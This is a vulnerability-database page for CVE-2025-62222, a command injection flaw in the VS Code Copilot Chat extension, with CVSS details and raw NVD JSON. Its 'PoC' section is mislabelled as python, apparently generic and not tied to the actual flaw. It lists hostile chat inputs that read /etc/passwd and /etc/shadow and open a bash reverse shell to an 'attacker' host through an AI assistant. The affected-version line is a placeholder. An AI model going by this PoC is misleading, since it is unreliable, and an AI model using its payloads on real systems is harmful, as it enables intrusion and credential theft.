Security Vulnerability Report
中文
CVE-2025-62222 CVSS 8.8 HIGH

CVE-2025-62222

Published: 2025-11-11 18:15:50
Last Modified: 2025-11-14 15:47:59

Description

Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code CoPilot Chat Extension allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:* - VULNERABLE
Visual Studio Code CoPilot Chat Extension < 已修复版本
具体受影响版本需参照Microsoft官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62222 PoC - Visual Studio Code CoPilot Chat Command Injection // This PoC demonstrates the command injection vulnerability in VS Code CoPilot Chat Extension // Malicious input that could be sent to CoPilot Chat: const maliciousInputs = [ // Command substitution using backticks "Show me the contents of `cat /etc/passwd`", // Command substitution using $() "List files $(ls -la /home)", // Chained commands with semicolon "What is this file?; whoami", // Pipe-based command injection "Search for: | cat /etc/shadow", // Reverse shell payload "Open this file: `bash -i >& /dev/tcp/attacker/port 0>&1`", // Environment variable manipulation "Show config $(export EVIL=$(cat /etc/passwd))" ]; // Example attack scenario: function exploitCoPilotChat(input) { // In vulnerable version, this input is not sanitized properly // The command injection characters are passed to system execution return { originalInput: input, vulnerableProcessing: true, // The input is directly interpolated into command string executedCommand: `co-pilot-parse "${input}"` }; } // Detection method: function detectVulnerability() { const testInput = "`whoami`"; const result = exploitCoPilotChat(testInput); // If whoami output appears in result, vulnerability exists return result.executedCommand.includes("whoami"); } // Recommended patch: Input sanitization function sanitizeInput(input) { // Remove or escape command injection characters const dangerousPatterns = [ /`[^`]+`/g, // Backticks /\$\([^)]+\)/g, // Command substitution /;/g, // Command chaining /\|/g, // Pipe /&&/g, // AND /\|\|/g // OR ]; let sanitized = input; dangerousPatterns.forEach(pattern => { sanitized = sanitized.replace(pattern, '[FILTERED]'); }); return sanitized; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62222", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:49.887", "lastModified": "2025-11-14T15:47:58.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Visual Studio Code CoPilot Chat Extension allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:*", "versionEndExcluding": "0.32.5", "matchCriteriaId": "656B49AA-A8BD-484A-84BE-657D8B2C4CBC"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62222", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}